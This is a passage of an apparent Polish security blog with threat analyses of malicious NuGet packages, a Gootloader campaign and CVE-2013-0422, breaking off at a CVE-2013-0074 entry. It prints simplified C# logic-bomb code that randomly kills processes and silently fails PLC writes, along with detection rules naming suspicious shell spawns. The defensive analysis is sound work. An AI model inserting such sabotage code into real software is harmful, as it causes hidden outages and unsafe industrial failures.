        if (DateTime.Now > new DateTime(y, m, d) && new Random().Next(1, 100) > 80) {
            Process.GetCurrentProcess().Kill(); // losowe ubicie procesu (~20%)
        }
        return cmd;
    }
}

W wariantach dla PostgreSQL/SQLite data jest zapisana jako znacznik czasu UNIX (np. 2028-11-29 11:18:48.479 UTC).

2) Sharp7Extend — sabotaż ICS (S7)

  • Natychmiastowy mechanizm Process.Kill() aktywny do 2028-06-06 (odwrócona logika daty).
  • Filtr „wyniku” zapisu w S7, który po losowym 30–90-min okienku łaski zaniża rezultat do 0 w ~80% przypadków, powodując ciche, częściowe nieskuteczne zapisy do PLC (aktuatory nie otrzymują poleceń, parametry nie są modyfikowane).
    Poniżej uproszczony wzorzec sabotażu zapisu:
public static class ResFilter {
  public static int Filter(this int res) {
    if (DateTime.Now < BootTimePlusRandom30to90min) return res; // działa w testach
    return new Random().Next(1, 100) < 20 ? res : 0; // 80% "niemych" porażek
  }
}

Te mechanizmy imitują flapping sieci, EMI, usterki sterownika czy „złe receptury” – dokładnie to, co utrudnia korelację z biblioteką.

3) Typosquatting i „fałszywe poczucie bezpieczeństwa”

Sharp7Extend dołącza niezmodyfikowaną, legalną bibliotekę Sharp7 (np. 1.1.79) i rzeczywiście umożliwia komunikację S7, co uwiarygadnia pakiet. Oficjalny Sharp7 w NuGet/GitHub jest legalny; „Extend” to podszycie.

4) Daty-wyzwalacze & probabilistyka

  • DB: 2027-08-08 oraz 2028-11-29 (różne implementacje).
  • ICS: aktywny od razu do 2028-06-06.
  • Prawdopodobieństwo ~20% na operację szybko daje quasi-pewną awarię w systemach o wysokim QPS/OPS, ale nieregularność utrudnia RCA.

Praktyczne konsekwencje / ryzyko

  • Aplikacje transakcyjne: sporadyczne ubicia procesu podczas zapytań → przerwane transakcje, uszkodzenie sesji, utrata koszyków, restart puli.
  • Bezpieczeństwo danych: niezamierzone rollbacki, niekonsekwentne zapisy, widoczność „ghost writes”.
  • ICS/OT: ciche nieskuteczne zapisy do PLC → niezałączone zabezpieczenia, złe nastawy, ryzyko jakości/bezpieczeństwa pracy linii. Media branżowe niezależnie potwierdzają cele DB+ICS oraz daty 2027/2028.

Rekomendacje operacyjne / co zrobić teraz

0) Zakres incydentu i kryteria ryzyka

Traktuj każdy projekt .NET z zależnościami publikowanymi/aktualizowanymi 2023–2024 jako potencjalnie ekspozycyjny, ze szczególną ostrożnością dla aplikacji przemysłowych/SCADA/MES/Historian.

1) Szybki triage — znajdź i odetnij pakiety

Enumeracja pakietów w repo i hostach:

# w repo: wszystkie odwołania do nuget.org
grep -R "PackageReference Include" -n .

# lista zainstalowanych pakietów w projekcie/solucji
dotnet list package --include-transitive

# sprawdzenie globalnego cache NuGet na hostach buildowych
# Windows (PowerShell)
Get-ChildItem "$env:USERPROFILE\.nuget\packages" -Depth 2 | Select-Object FullName
# Linux
find ~/.nuget/packages -maxdepth 2 -type d -print

Skan wzorców „extension method injection”:

# proste heurystyki (repo)
grep -R "static class .*Command.*Extend" -n .
grep -R "this SqlCommand" -n .
grep -R "Process.GetCurrentProcess().Kill" -n .
grep -R "DateTimeHelper.UnixTimestampToDateTime" -n .
grep -R "ConfigurationManager.AppSettings\\[\"st\"\\]" -n .

Blokada źródła:

  • Pinning do allowlist (scoped registries), wewnętrzne mirror’y, pakiety podpisane.
  • W CI zablokuj rozwiązywanie spoza mirror’a: NUGET_PACKAGES, restoreSources.

Przykładowe nuget.config (pinning):

<configuration>
  <packageSources>
    <clear />
    <add key="corp-mirror" value="https://nuget.corp.local/v3/index.json" />
  </packageSources>
  <trustedSigners>
    <author name="CorpReleaseKey">
      <certificate fingerprint="‎AB CD EF ..." hashAlgorithm="SHA256" allowUntrustedRoot="false" />
    </author>
  </trustedSigners>
</configuration>

2) Detekcja runtime / telemetry hunting

.NET (ETW/PerfView/Defender for Endpoint kusto):

DeviceProcessEvents
| where InitiatingProcessFileName endswith ".exe"
| where FileName has_any ("w3wp.exe","dotnet.exe","MyApp.exe")
| where ProcessCommandLine has "Process.GetCurrentProcess().Kill"
    or ProcessCommandLine has "System.Diagnostics.Process.Kill"

Anomalia „losowych restartów” po zapytaniach DB:

  • Koreluj SqlClient error’y / brak logs z Kill().
  • W aplikacjach ICS: wzrost „write succeeded=false / result=0” bez błędów.

AppLocker/WDAC: blokuj niezaufane DLL z cache NuGet per hash/ścieżka.
EDR: utwórz reguły anomalii na Process.Kill() wywoływane przez procesy serwerowe .NET.

3) Usuwanie i weryfikacja integralności

  • Usuń zainfekowane pakiety z repo i lockfile’y; wymuś dotnet nuget locals all --clear na build-agentach i serwerach.
  • Rebuild + redeploy z czystego cache.
  • Testy regresji z naciskiem na „długie” scenariusze (≥2h) i wysoki QPS.
  • ICS: włącz odczyt zwrotny po zapisie do PLC i alarmuj niekonsekwencje.

4) Hardening łańcucha dostaw

  • SBOM (np. dotnet list package --include-transitive > sbom.txt; CycloneDX dla .NET).
  • Pinned versions + obowiązkowa reputacja (autor/maintainer, GitHub stars/issues, historia CVE).
  • Policy: zakaz użycia pakietów o małej historii/bez maintainerów; przegląd kodu dla „nowych autorów”.
  • Skany SCA z regułami niestandardowymi (heurystyki extension methods, Process.Kill()).

5) IOC / nazwy pakietów do bloku

Na bazie publikacji: MyDbRepository, MCDbRepository, Sharp7Extend, SqlDbRepository, SqlRepository, SqlUnicornCoreTest, SqlUnicornCore, SqlUnicorn.Core, SqlLiteRepository. (Zestaw raportowany w źródłach branżowych.)


Różnice / porównania z innymi przypadkami

  • npm/PyPI — zwykle szybkie kradzieże sekretów/telemetrii; tu mamy opóźniony, destrukcyjny ładunek i probabilistykę, by utrudnić RCA.
  • NuGet-specyficzne — cięższe biblioteki .NET, częsty brak sandboxingu, głęboka integracja z ORM/ADO.NET oraz środowiskami przemysłowymi .NET/Win.
  • ICS — celowane typosquatting w ekosystem Sharp7; potwierdzenie, że legalny Sharp7 jest osobnym, poprawnym projektem open-source.

Podsumowanie / kluczowe wnioski

  • Atak łączy realną funkcjonalność z niewielką „bombą” czasową, co daje długie, ciche „zasianie” u ofiar.
  • Extension methods to idealny nośnik sabotażu w .NET — przechodzą przez testy i code review.
  • Organizacje powinny priorytetowo: inwentaryzować, odciąć, odbudować z czystych źródeł, a następnie wprowadzić mirror + podpisy + SBOM + custom SCA rules.
  • Środowiska ICS/OT szczególnie narażone: weryfikacja zapisu przez odczyt i testy długotrwałe to must-have.
    Niezależne źródła potwierdzają daty-wyzwalacze i target DB/ICS, co pozwala na precyzyjny threat model i priorytetyzację.

Źródła / bibliografia

  • Socket — „9 Malicious NuGet Packages Deliver Time-Delayed Destructive Payloads” (analiza techniczna, fragmenty kodu, daty-wyzwalacze). (Socket)
  • The Hacker News — „Hidden Logic Bombs in Malware-Laced NuGet Packages…” (lista pakietów, kontekst). (The Hacker News)
  • BleepingComputer — „Malicious NuGet packages drop disruptive ‘time bombs’” (potwierdzenie scenariuszy i celów). (BleepingComputer)
  • The Register — „Crims plant time bomb malware in industrial .NET extensions” (status usuwania pakietów). (The Register)
  • Projekt Sharp7 (legalna biblioteka S7; odróżnienie od typosquata „Sharp7Extend”). (GitHub)

Gootloader wraca do gry: nowe sztuczki, szybka eskalacja i ścieżka do ransomware

Wprowadzenie do problemu / definicja luki

Gootloader to złośliwy loader oparty na JavaScript, wykorzystywany przede wszystkim do pozyskiwania wstępnego dostępu (IAB) i dalszego dostarczania ładunków – od backdoorów po ransomware. Po okresie wyciszenia znów jest aktywny i łączy SEO poisoning/malvertising z hostowaniem artefaktów na zhakowanych stronach (często WordPress), przekonując ofiary do pobrania archiwum ZIP z plikiem .js. Najnowsza fala przynosi świeże techniki ukrywania i bardzo szybkie tempo eskalacji w sieci ofiary.

W skrócie

  • Po ~7-miesięcznej przerwie operatorzy Gootloadera wrócili z nową kampanią podszywającą się pod szablony dokumentów prawnych (NDA, umowy).
  • Widzimy customowy font WOFF2 z podmianą glifów do zaciemniania nazw plików w źródle strony oraz nietypowe/malformowane ZIP-y, które różnie rozpakowują się w zależności od narzędzia.
  • Po infekcji atakujący potrafią skompromitować kontroler domeny w ~17 godzin – okno detekcji jest bardzo wąskie.
  • W łańcuchu nadużyć obserwowany jest backdoor Supper (SOCKS5) oraz powiązania ze Storm-0494 → Vanilla Tempest (Rhysida) jako etapami post-eksploatacyjnymi.

Kontekst / historia / powiązania

Gootloader (rodzina Gootkit) jest opisywany od co najmniej 2020 r. i znany z SEO poisoning oraz dostarczania m.in. Cobalt Strike czy ransomware (SunCrypt/REvil w starszych falach). W 2022–2024 analizy branżowe dokumentowały fileless wykonanie przez PowerShell, zadania Harmonogramu i dystrybucję przez spreparowane fora/strony z „szablonami”. Obecny powrót wpisuje się w model access-as-a-service – loader sprzedaje/przekazuje dostęp afiliantom ransomware.

Analiza techniczna / szczegóły luki

Nowe elementy obserwowane (Q4 2025):

  • WOFF2 + podmiana glifów: na stronie ofiary w źródle widnieją „śmieciowe” ciągi znaków, lecz po renderowaniu font zamienia je na czytelne nazwy (np. Florida_HOA_…pdf). To omija proste skanowanie stringów i utrudnia analizę statyczną. Font bywa osadzony w JS (Z85/Base85), a nie przez typową tabelę mapowania.
  • Dostawa przez WordPress /wp-comments-post.php: klik w przycisk „Download” wysyła POST z parametrem identyfikującym treść i zwraca XOR-szyfrowany ZIP; różne payloady mają własne klucze wyliczane z nazwy pliku.
  • Malformowane archiwa ZIP: ten sam ZIP może rozpakować złośliwy .js w Eksploratorze Windows, ale „niewinny” plik tekstowy w 7-Zip/Python/VirusTotal – zabieg anty-analizowy i anty-automat.
  • Utrwalenie (persistence): zamiast wyłącznie zadań harmonogramu obserwuje się skróty LNK w katalogu Startup i odwołania w stylu 8.3 short filenames (np. EMCCON1.JS).
  • Tempo operacyjne: rozpoznanie w ~20 min, później enumeracja AD (Kerberoasting, SPN), ruch boczny (WinRM), tworzenie kont DA i przygotowania do ransomware (cienie VSS) – DC bywa przejmowany w <17 h.
  • Łańcuch afiliantów: infekcje Gootloader → Supper SOCKS5 → aktywność Vanilla Tempest/Rhysida (różne rodziny ransomware w historii afilianta).

Praktyczne konsekwencje / ryzyko

  • Bardzo krótki czas reakcji: od kliknięcia do przyczółka w AD mijają godziny, nie dni. Zespoły SOC muszą mieć gotowe detekcje behawioralne na wczesne oznaki (nietypowy PowerShell, enumeracja AD, WinRM, tworzenie kont DA).
  • Zwiększone ryzyko phishingu „wyszukiwarkowego”: użytkownicy szukający dokumentów prawnych/szablonów to grupa wysokiego ryzyka.
  • Ewazja skanerów: WOFF2-glify i ZIP-tricki obniżają skuteczność automatycznego Triage/sandboxów, co wymusza telemetrię EDR/XDR i korelację zdarzeń.

Rekomendacje operacyjne / co zrobić teraz

Prewencja i kontrola treści

  1. Blokady kategorii: filtrowanie zapytań/stron z „free templates”, „NDA template”, „legal agreement download” itp.; egzekwuj pobieranie wzorów wyłącznie ze zweryfikowanych źródeł firmowych.
  2. Twarde reguły dla archiwów/JS: blokuj wykonywanie .js/.jse z archiwów użytkownika; wymuszaj rozpakowywanie ZIP-ów w kontrolowanym narzędziu z inspekcją zawartości.

Telemetria i detekcje
3. EDR/XDR: alerty na nietypowy PowerShell z łańcuchami enkodowanych poleceń, tworzenie LNK w Startup, użycie ścieżek 8.3, świeże WinRM do hostów serwerowych, szybkie sekwencje AD enum → konto DA → VSS. (MITRE: T1059, T1547.001, T1021.006, T1003/T1087).
4. Sieć: wychwytuj SOCKS5/„Supper” i powiązane C2 z najnowszych IoC/YARA publikowanych przez badaczy. Wdróż egr-filtering + DNS sinkhole dla wskazanych domen/IP.

Twardnienie środowiska
5. Ogranicz WinRM, włącz Credential Guard, Secured Core (tam gdzie możliwe), segmentację DC i stacji IT, zasada PAW dla administracji domeną.
6. Applocker/WDAC: blokuj wykonywanie skryptów z profilu użytkownika (%AppData%, %TEMP%).
7. Atak powierzchnia AD: rotacja haseł kont uprzywilejowanych, Tiering tożsamości, restrykcja Kerberoastingu (kontrola SPN, AES-only), monitorowanie nietypowych biletów.

Response
8. Playbook „Gootloader-like”: natychmiastowa izolacja hosta z pierwszą egzekucją JS/PS, analiza LNK/Startup, przegląd nowo utworzonych kont DA, kontrola VSS/backups, pamiętaj o triage DC w <12 h. (Case studies wskazują, że okno to <17 h).

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Kiedyś: forumowe strony-przynęty, zadania harmonogramu, fileless PowerShell → Cobalt Strike. Dziś: legal-templates + WOFF2 glify, ZIP-anty-analiza, persistence przez Startup/LNK i szybkie użycie Supper. Ewolucja nakierowana jest na utratę widoczności przez analystów i skrócenie czasu do dominacji w AD.

Podsumowanie / kluczowe wnioski

Gootloader wrócił i przyspieszył. Najważniejsza zmiana to ewazja na warstwie przeglądarki (WOFF2) i artefaktów (ZIP), w połączeniu z przewidywalnym, ale bardzo szybkim łańcuchem AD-centric. Obrona musi skupić się na wczesnych wskaźnikach zachowania oraz twardych politykach blokujących wykonywanie skryptów i ruch boczny, bo po kilkunastu godzinach bywa już za późno.

Źródła / bibliografia

  • The Register — „Gootloader malware back for the attack, serves up ransomware”, 6 listopada 2025. (The Register)
  • Huntress — „Gootloader Returns: What Goodies Did They Bring?”, 5 listopada 2025 (szczegóły: WOFF2, WordPress comments, IoC/YARA, Supper, 17 h → DC). (Huntress)
  • BleepingComputer — „Gootloader malware is back with new tricks after 7-month break”, 5 listopada 2025 (malformowane ZIP-y, kampania „legal templates”). (BleepingComputer)
  • Intel471 — „Threat hunting case study: Tracking down GootLoader”, 20 sierpnia 2024 (kontekst SEO poisoning, rola IAB). (Intel471)
  • Trend Micro — „Gootkit Loader’s Updated Tactics and Fileless Delivery of Cobalt Strike”, 27 lipca 2022 (tło technik fileless, wcześniejsze kampanie). (www.trendmicro.com)

CVE-2013-0422 — Java 7 Security Manager Bypass / Sandbox Escape (RCE)

TL;DR

  • Krytyczna luka w Oracle Java 7 (JDK/JRE 7u10 i starsze) pozwalała na zdalne wykonanie kodu przez applet lub Java Web Start (drive‑by). Java 6 nie była podatna. CVSS v2: 10.0.
  • Mechanizm: obejście Security Managera przez dwie podatności: (a) łańcuch JMX/MBean (getMBeanInstantiatorfindClass), (b) błąd w Reflection (rekurencja i pominięcie kontroli). Powszechnie wykorzystywana w styczniu 2013 r. (m.in. Blackhole/Nuclear Pack).
  • Oracle wydało poza‑cykliczną łatę (7u11) i podniosło domyślny poziom bezpieczeństwa Javy do High (klik‑to‑run).
  • Typowe ślady: łańcuch procesów browser → jp2launcher/java[w].exe → cmd/powershell/wscript, pobrania .jar/.jnlp z nieznanych domen, logi Sun/Java/Deployment.
  • Detekcja: korelacja proxy/DNS + EDR/Windows (Sysmon 1/3/7/11/22, Security 4688/5156) + MDE (DeviceProcessEvents/DeviceNetworkEvents).
  • Mitigacje: aktualizacja/wyłączenie wtyczki Java, blokada MIME application/java-archive i application/x-java-jnlp-file, polityki ASR/EDR.

Krótka definicja techniczna

CVE‑2013‑0422 to para luk w Oracle Java 7 umożliwiająca zdalne wykonanie kodu i wyjście z piaskownicy przez niezaufane applet/JNLP w przeglądarce. Wektor: drive‑by. Dotyczy JDK/JRE 7u10 i starszych; JDK/JRE 6 nie dotyczy. CVSSv2=10.0.


Gdzie występuje / przykłady platform

  • Windows/macOS/Linux (endpoint, przeglądarka + plugin Java) — klientowe uruchomienie applet/JNLP. Nie dotyczy serwerów ani samodzielnych aplikacji Java bez przeglądarki.
  • VDI / środowiska korporacyjne — stacje administracyjne z historycznie zainstalowaną Javą 7.
  • Proxy/NGFW/MDE/EDR/SIEM — główne źródła telemetrii do detekcji.
  • Chmury (M365/Azure/AWS/GCP) — detekcja po stronie endpointów zarządzanych (Defender for Endpoint), na brzegach (CloudFront/NGFW) lub – rzadziej – w CloudTrail (gdy organizacja sama hostowała artefakty .jar/.jnlp w S3).

Szczegółowy opis techniki (jak działa, cele, dlaczego skuteczna)

Atak następował po wejściu użytkownika na złośliwą lub skompromitowaną stronę. Niezaufany applet/JNLP wykorzystywał dwa błędy w Javie 7:

  1. JMX/MBean — publiczne getMBeanInstantiator w JmxMBeanServer dawało dostęp do prywatnego obiektu MBeanInstantiator i metod findClass, co umożliwiało załadowanie klas poza kontrolą Security Managera.
  2. Reflection — rekurencyjne wywołania API refleksji omijały kontrolę w MethodHandles.Lookup.checkSecurityManager z powodu sposobu działania sun.reflect.Reflection.getCallerClass.
    W praktyce oznaczało to pełne RCE z uprawnieniami użytkownika po samej wizycie na stronie (0‑click beyond browsing). Luki były aktywnie wykorzystywane przez Blackhole i Nuclear Pack od 10–11 stycznia 2013 r. Oracle zareagowało alarmem bezpieczeństwa i 7u11 (zmiana default na High, wymuszając potwierdzenia dla appletów).

Artefakty i logi

ŹródłoEID/typCo szukaćUwagi
Sysmon1 (Process Create)chrome/iexplore/firefox → jp2launcher.exe/java.exe/javaw.exe; dalej spawn cmd.exe, powershell.exe, wscript.exe, mshta.exejp2launcher.exe = Java Web Launcher.
Sysmon3 (Network Connect)java[w].exe łączące się do Internetu (80/443) tuż po pobraniu .jar/.jnlpKorelować z proxy/DNS.
Sysmon7 (Image Load)DLL wtyczki Java (np. npjp2.dll, jp2iexp.dll)Indykatory uruchomienia pluginu.
Sysmon11/22Tworzenie plików w %AppData% / zapytania DNS przez java.exeDropper po eksploatacji.
Windows Security4688/4689Tworzenie/zamknięcie procesu jak wyżejWłącz audyt procesu.
Windows Filtering Platform5156/5157Dopuszczenie/blokada połączeń java.exeKorelacja z hostem docelowym.
Proxy/NGFWHTTPOdpowiedzi Content-Type: application/java-archive (.jar), application/x-java-jnlp-file (.jnlp) z nietypowych domenWzorzec drive‑by.
Java Deploymentplikideployment.properties, logi w …\LocalLow\Sun\Java\Deployment\Lokacje użytkownika na Windows/macOS/Linux.
MDE (Advanced Hunting)DeviceProcessEvents, DeviceNetworkEventsTe same łańcuchy + zdalne URL .jar/.jnlp
CloudTrail (S3 data events)GetObjectJeśli organizacja hostowała .jar/.jnlp — nieoczekiwane pobrania/UA z Java 1.7Wymaga włączonych data events.
KEV statusCVE figuruje w CISA KEV (znana eksploatacja)Odniesienie przez NVD.

Detekcja (praktyczne reguły)

Sigma (Sysmon — Java spawn + post‑exploitation shell)

title: Java Plugin Spawns Suspicious Shell (CVE-2013-0422 Context)
id: 6f1a2a0c-5a0e-4bde-9d1c-0422a7java
status: experimental
description: Wykrywa łańcuch browser→java/jp2launcher→shell po wizycie na stronie (drive-by).
author: Badacz CVE
logsource:
  product: windows
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith:
      - '\chrome.exe'
      - '\iexplore.exe'
      - '\firefox.exe'
      - '\msedge.exe'
  selection_java:
    Image|endswith:
      - '\java.exe'
      - '\javaw.exe'
      - '\jp2launcher.exe'
  selection_shell:
    CommandLine|contains:
      - 'cmd.exe'
      - 'powershell.exe'
      - 'wscript.exe'
      - 'mshta.exe'
  condition: selection_parent and selection_java and selection_shell
fields:
  - Image
  - ParentImage
  - CommandLine
  - ProcessGuid
  - ParentProcessGuid
falsepositives:
  - Legit applet/JNLP uruchamiający narzędzia systemowe (rzadkie)
level: high
tags:
  - attack.t1189
  - attack.t1203
  - cve.2013-0422

Sigma (Sysmon — podejrzane połączenia java.exe)

title: Java Process Network Activity To Untrusted Domains
id: 8b0f7c87-8d07-4a1b-9f77-jar-net
status: experimental
logsource:
  product: windows
  category: network_connection
detection:
  selection:
    Image|endswith:
      - '\java.exe'
      - '\javaw.exe'
    DestinationPort:
      - 80
      - 443
  filter_corp_domains:
    DestinationHostname|endswith:
      - '.corp.local'
      - '.trusted.example'
  condition: selection and not filter_corp_domains
level: medium
tags:
  - attack.t1189
  - attack.t1203

Splunk (SPL)

index=winevent* (EventCode=4688 OR sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1)
| eval parent=coalesce(ParentImage,ProcessGuidParent,ParentProcessName)
| search parent IN ("*\\chrome.exe","*\\iexplore.exe","*\\firefox.exe","*\\msedge.exe")
| search Image IN ("*\\java.exe","*\\javaw.exe","*\\jp2launcher.exe")
| stats earliest(_time) as first_seen, values(CommandLine) values(ParentCommandLine) by host, Image, parent, ProcessId
| join type=left host, ProcessId [ search index=winevent* EventCode IN (4688,1) Image IN ("*\\cmd.exe","*\\powershell.exe","*\\wscript.exe","*\\mshta.exe") | table host, ParentProcessId, Image, CommandLine, _time ]
| sort - first_seen

KQL (Microsoft 365 Defender – Advanced Hunting)

let browsers = dynamic(["chrome.exe","iexplore.exe","firefox.exe","msedge.exe"]);
let shells = dynamic(["cmd.exe","powershell.exe","wscript.exe","mshta.exe"]);
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("java.exe","javaw.exe","jp2launcher.exe")
| where InitiatingProcessFileName in~ (browsers)
| join kind=leftouter (
    DeviceProcessEvents
    | where Timestamp > ago(7d)
    | where InitiatingProcessFileName in~ ("java.exe","javaw.exe")
    | where FileName in~ (shells)
    | project DeviceId, ShellTime=Timestamp, FileName, ProcessCommandLine, InitiatingProcessId
) on DeviceId, InitiatingProcessId
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, RemoteUrl

CloudTrail (CloudWatch Logs Insights — S3 data events)

Uwaga: tylko gdy masz S3 data events. Szuka pobrań .jar/.jnlp z User-Agent zawierającym „Java”.

fields @timestamp, eventSource, eventName, sourceIPAddress, userAgent, requestParameters.bucketName as bucket, requestParameters.key as key
| filter eventSource = "s3.amazonaws.com" and eventName = "GetObject"
| filter key like /(\.jar|\.jnlp)$/i
| filter userAgent like /Java/i
| sort @timestamp desc

Elastic EQL

sequence by host.id with maxspan=5m
  [ process where event.action == "start" and
      process.name in ("chrome.exe","iexplore.exe","firefox.exe","msedge.exe") ]
  [ process where event.action == "start" and
      process.name in ("java.exe","javaw.exe","jp2launcher.exe") and
      process.parent.name in ("chrome.exe","iexplore.exe","firefox.exe","msedge.exe") ]
  [ process where event.action == "start" and
      process.parent.name in ("java.exe","javaw.exe") and
      process.name in ("cmd.exe","powershell.exe","wscript.exe","mshta.exe") ]

Heurystyki / korelacje

  • Korelacja czasu: pobranie *.jar/*.jnlp w proxy/DNS ±30s → java.exe/javaw.exe → shell.
  • User‑Agent / MIME: Java/1.7.0_10 i application/java-archive z domen o niskiej reputacji.
  • Ścieżki plików: nowe pliki w %AppData%\ po uruchomieniu java.exe.
  • Rzadkie procesy potomne: Java rzadko powinna uruchamiać interpreter poleceń na stacjach użytkowników.
  • Zbieżność z KEV: priorytetyzuj alerty dla CVE na liście Known Exploited Vulnerabilities.

False positives / tuning

  • Starsze aplikacje intranetowe oparte na appletach/JNLP (bankowość/SCADA/HCM). Dodaj allowlist domen i ścieżek aplikacji.
  • Dev‑tooling (Maven/Gradle) – rozpoznaj przez parametry linii poleceń i katalog roboczy.
  • Zamiast wyłączać reguły, dookreśl łańcuch (browser→java→shell) lub warunki (spoza strefy zaufanej, brak podpisu binariów).

Playbook reagowania (IR)

  1. Triage & izolacja: odłącz host, zabezpiecz RAM/dysk.
  2. Zbieranie artefaktów:
    • EDR, Sysmon, Windows Security; cache przeglądarek; katalog …\LocalLow\Sun\Java\Deployment\.
  3. Łowy zależne od CVE: wyszukaj łańcuch browser→java→shell, pliki .jar/.jnlp, anomalie DNS.
  4. Usunięcie wektora: odinstaluj/wyłącz Javę w przeglądarce, wymuś JRE ≥ 7u11 (historycznie; dziś → brak pluginu) i politykę High.
  5. Analiza dropperów/persistencji: Autoruns (Run/RunOnce), Scheduled Tasks, %ProgramData%/%AppData%.
  6. Blokady: domeny/URL/sha256 w proxy/EDR; reguły w NGFW.
  7. Komunikacja i lessons learned: wytyczne dla użytkowników, polityki usunięcia legacy‑Javy.

Przykłady z kampanii / case studies

  • Blackhole/Nuclear Pack (styczeń 2013): szybka integracja exploita 0‑day CVE‑2013‑0422, masowe drive‑by.
  • Reakcja dostawcy: Oracle Security Alert z 13 stycznia 2013 r., podniesienie domyślnego poziomu bezpieczeństwa na High i publikacja 7u11 (poza cyklem).

Lab (bezpieczne testy) — przykładowe komendy

Wyłącznie w izolowanym labie. Poniższe testy nie eksploatują CVE‑2013‑0422 — służą do walidacji detekcji (łańcuch procesów i artefakty sieciowe).

A. Symulacja łańcucha browser → java → shell

  1. Otwórz przeglądarkę, następnie uruchom Java w trybie „klienta” (symulacja): # uruchamia jawnie 'java.exe' z benignym poleceniem do wygenerowania telemetrii & "$Env:ProgramFiles\Java\jre*\bin\java.exe" -cp . -Dtest.run=1 -jar .\benign.jar 2>$null
  2. Zastępczo (bez JAR): Start-Process -FilePath "$Env:ProgramFiles\Java\jre*\bin\javaw.exe" -ArgumentList "-version"
  3. Uruchomioną telemetrię „shella” zasymuluj (bezpiecznie): # symulacja potomka (cmd) po Java — tylko test logów Start-Process -FilePath "$Env:SystemRoot\System32\cmd.exe" -ArgumentList "/c", "echo test-from-java"

Cel: sprawdzić, czy reguły z sekcji 7 flagują procesy potomne po aktywności Java.

B. Symulacja artefaktu sieciowego (.jar/.jnlp)

  1. Na hoście labowym: python3 -m http.server 8000
  2. Pobierz plik test.jar przez przeglądarkę lub Invoke-WebRequest – wygeneruje log proxy/DNS/MDE: iwr http://<twoj_lab_host>:8000/test.jar -OutFile $env:TEMP\test.jar

C. Walidacja logów Java Deployment (Windows)
Sprawdź obecność deployment.properties w:
%USERPROFILE%\AppData\LocalLow\Sun\Java\Deployment\deployment.properties.


Mapowania (Mitigations, powiązane techniki)

Mitigations (ATT&CK):

  • M1051 — Update Software (aktualizacje/łatki).
    • M1042 — Disable or Remove Feature or Program (wyłączenie wtyczki Java, blokada JNLP).
    • M1040 — Behavior Prevention on Endpoint (EDR/ASR).
    • M1037 — Filter Network Traffic (blok MIME/TLD/URL).
    • M1030 — Network Segmentation (izolacja stacji wysokiego ryzyka/VDI).

Powiązane techniki ATT&CK (przykłady):

  • T1189 — Drive‑by Compromise (Initial Access).
  • T1203 — Exploitation for Client Execution (Execution).
  • T1204.001 — User Execution: Malicious Link (Execution → Social / link trigger).

Źródła / dalsza lektura

  • Oracle Security Alert for CVE‑2013‑0422 (opis, wersje dotknięte, CVSS 10.0, domyślny poziom High, data 2013‑01‑13). (Oracle)
  • NVD CVE‑2013‑0422 (szczegóły MBean/Reflection, KEV, metryki). (NVD)
  • ESET WeLiveSecurity (2013‑01‑11) — Blackhole/Nuclear zawierają exploit 0‑day na CVE‑2013‑0422. (We Live Security)
  • KrebsOnSecurity (2013‑01‑10 i 2013‑01‑13) — informacja o 0‑day w crimeware oraz publikacja poprawki Oracle. (Krebs on Security)
  • Microsoft Security Intelligence — klasyfikacje Exploit:Java/CVE‑2013‑0422 i wersje dotknięte. (Microsoft)
  • Tenable (Nessus) — wzmianka o wektorze MBeanInstantiator.findClass. (Tenable®)
  • MITRE ATT&CK — T1189, T1203, T1204.001; ATT&CK v18 update. (MITRE ATT&CK)
  • Lokalizacje plików Java Deployment (Oracle docs). (Oracle Docs)

Checklisty dla SOC / CISO

SOC (operacyjna):

  • Korelacja: proxy/DNS *.jar/*.jnlpjava[w].exe ↔ shell (Sysmon 1/3 + Security 4688).
  • Hunting MDE: InitiatingProcessFileName in (chrome.exe, iexplore.exe, firefox.exe, msedge.exe)FileName in (java.exe, javaw.exe, jp2launcher.exe) ∧ (dziecko = cmd/powershell/wscript/mshta).
  • Sprawdź …\LocalLow\Sun\Java\Deployment\ na artefakty (czas/moduły).
  • Wzorce User‑Agent: Java/1.7.0_10; MIME application/java-archive / application/x-java-jnlp-file.
  • Skan hostów pod kątem dropperów w %AppData% i autostartu.

CISO (strategiczna):

  • Eliminacja Javy w przeglądarkach (M1042) + polityka click‑to‑run.
  • Patch management i wycofanie legacy (M1051).
  • Wymuszenie EDR/ASR (M1040) i filtracji na brzegu (M1037).
  • Segmentacja (M1030) dla stacji wysokiego ryzyka.
  • Priorytetyzacja KEV i regularne tabletopy „drive‑by → execution”.

Uwaga końcowa: Oracle wskazuje, że podatność dotyczyła tylko klientowych wdrożeń Javy (applet/JNLP), a nie serwerów czy samodzielnych aplikacji Java; poprawka 7u11 wprowadziła High jako domyślny poziom bezpieczeństwa. Dziś najlepszą praktyką jest całkowite usunięcie lub odseparowanie wtyczki Java z przeglądarek użytkowników.

CVE-2013-0074 — Microsoft Silverlight “Double Dereference”

TL;DR

Luka w Silverlight 5 (tzw. Double Dereference) umożliwia zdalne wykonanie kodu po odwiedzeniu strony z przygotowaną aplikacją Silverlight. W praktyce wpisuje się to w Drive‑by Compromise (T1189) i Exploitation for Client Execution (T1203). Naprawa: aktualizacja do 5.1.20125.0 lub — lepiej — usunięcie Silverlight (EOL 2021‑10‑12). Detekcja: procesy‑dzieci powłok uruchamiane przez iexplore.exe/firefox.exe po załadowaniu npctrl.dll, zdarzenia Sysmon (EID 1/7), detekcje Defendera.


Krótka definicja techniczna

CVE‑2013‑0074 to błąd nieprawidłowej walidacji wskaźników podczas renderowania obiektu HTML w Silverlight 5, który pozwala napastnikowi na RCE poprzez złośliwą aplikację Silverlight osadzoną na stronie WWW (w kontekście uprawnień aktualnego użytkownika).


Gdzie występuje / przykłady platform

  • Windows (klienci i serwery) z zainstalowanym Silverlight/ActiveX lub NPAPI pluginem (IE/Firefox historycznie).
  • macOS (Safari/Firefox – historycznie) z Silverlight 5 / Developer Runtime.
  • Przeglądarki: wsparcie dla Silverlight zostało wycofane (EOL 2021‑10‑12; Chrome od 2015, Firefox od 2017), co redukuje wektor, ale nie eliminuje ryzyka na hostach legacy.

Szczegółowy opis techniki (jak działa, cele, dlaczego skuteczna)

